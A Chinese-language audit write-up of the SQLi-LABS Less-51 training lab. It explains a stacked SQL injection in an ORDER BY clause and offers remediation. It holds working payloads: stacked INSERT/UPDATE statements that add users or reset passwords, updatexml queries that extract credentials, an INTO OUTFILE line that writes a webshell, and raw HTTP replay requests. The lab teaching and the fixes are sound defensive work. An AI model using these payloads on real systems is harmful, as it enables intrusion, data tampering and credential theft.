Less-51 代码审计报告:ORDER BY 单引号堆叠注入(mysqli_multi_query)
本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与
Less-51/index.php实际文件一致。
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-51: ORDER BY Clause - Error based - Single quote - Stacked(堆叠) |
| 源码路径 | Less-51/index.php |
| 漏洞类型 | SQL 注入 – 堆叠注入(ORDER BY 子句)- 单引号字符串,底层使用 mysqli_multi_query |
| 注入点参数 | GET /sqli-labs/Less-51/?sort= |
| 报错/盲注 | 报错回显(mysqli_error());支持多语句堆叠 |
| 所需环境 | PHP 5.x + mysqli 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件: Less-51/index.php
// 第 13 行:引入 mysqli 连接
include("../sql-connections/sqli-connect.php");
// 第 14 行:关闭 PHP 报错
error_reporting(0);
// 第 15 行:直接取 GET 参数,未过滤
$id=$_GET['sort'];
// 第 23 行:单引号包裹拼接
$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
// 第 25 行:mysqli_multi_query 支持多语句堆叠
if (mysqli_multi_query($con1, $sql))
{
...
}
// 第 69 行:失败时回显 mysqli_error
print_r(mysqli_error($con1));
关键漏洞点:
- 第 15 行:
$id=$_GET['sort'];未过滤。 - 第 23 行:
ORDER BY '$id'单引号拼接。 - 第 25 行:
mysqli_multi_query允许堆叠多语句。 - 第 69 行:
print_r(mysqli_error($con1))回显报错。
3. 漏洞分析
- 输入来源:
$_GET['sort'],未过滤。 - SQL 拼接位置:
ORDER BY '$id'。 - 闭合方式:单引号
'。Payload 形如1';INSERT ...-- -,最终 SQL 为SELECT * FROM users ORDER BY '1';INSERT INTO ...-- -',分号开启第二条语句,-- -注释尾部引号。 - 堆叠注入:可在第二条语句执行任意增删改查。
- 报错注入:第 69 行回显
mysqli_error(),也可用updatexml带出数据。 - 回显限制:第 42 行只取第一个结果集显示,第二条语句结果不直接回显,需二次请求验证。
4. 利用方式
步骤一:判断注入点
sort=1 → 正常
sort=1' → 报错
sort=1'-- - → 正常(单引号被注释)
sort=1';select 1-- - → 无报错,多语句可执行
步骤二:堆叠注入写数据(核心 Payload)
-- 插入新用户
sort=1';insert into users(id,username,password) values(99,'x','x')-- -
-- 修改用户密码
sort=1';update users set password='hacked' where id=1-- -
验证:再以 sort=1 请求查看表格,或到共用 users 表的登录页验证。
步骤三:报错注入提取数据(备选)
-- 爆当前库
sort=1' AND updatexml(1,concat(0x7e,database()),1)-- -
-- 爆数据
sort=1' AND updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 0,1)),1)-- -
预期报错:XPATH syntax error: '~security'。
步骤四:进阶
- 堆叠 +
INTO OUTFILE写 webshell(FILE 权限):sort=1';select '<?php phpinfo();?>' into outfile '/var/www/html/a.php'-- - - 堆叠 +
load_file()读服务器文件。
5. Yakit 重放数据包
堆叠 INSERT 报文:
GET /sqli-labs/Less-51/?sort=1%27;insert%20into%20users(id,username,password)%20values(99,'x','x')--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
报错注入报文:
GET /sqli-labs/Less-51/?sort=1%27%20AND%20updatexml(1,concat(0x7e,database()),1)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close
说明:%27='、%20=空格、--%20-=-- -。注意堆叠 payload 中 ; 与 -- - 之间不能有多余空格导致注释失效。
6. 修复建议
修复一(首选):排序字段白名单 + 禁止多语句
<?php
$allow = ['id', 'username', 'password'];
$sort = isset($_GET['sort']) ? $_GET['sort'] : 'id';
if (!in_array($sort, $allow, true)) {
$sort = 'id';
}
// 单语句执行,禁止 mysqli_multi_query
$sql = "SELECT * FROM users ORDER BY $sort";
$result = mysqli_query($con1, $sql);
修复二:严格校验排序表达式
if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $sort)) {
die('Invalid sort field');
}
修复三:纵深防御
- 禁止使用
mysqli_multi_query处理用户可控 SQL。 - 关闭
mysqli_error()回显;数据库账号最小权限(禁 FILE、secure_file_priv=NULL)。 - 升级 PHP 7+ / 8+,使用 PDO 预处理。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前需:导入
sql-lab.sql、配置sql-connections/db-creds.inc、PHP 环境需启用 mysqli 扩展。
正文完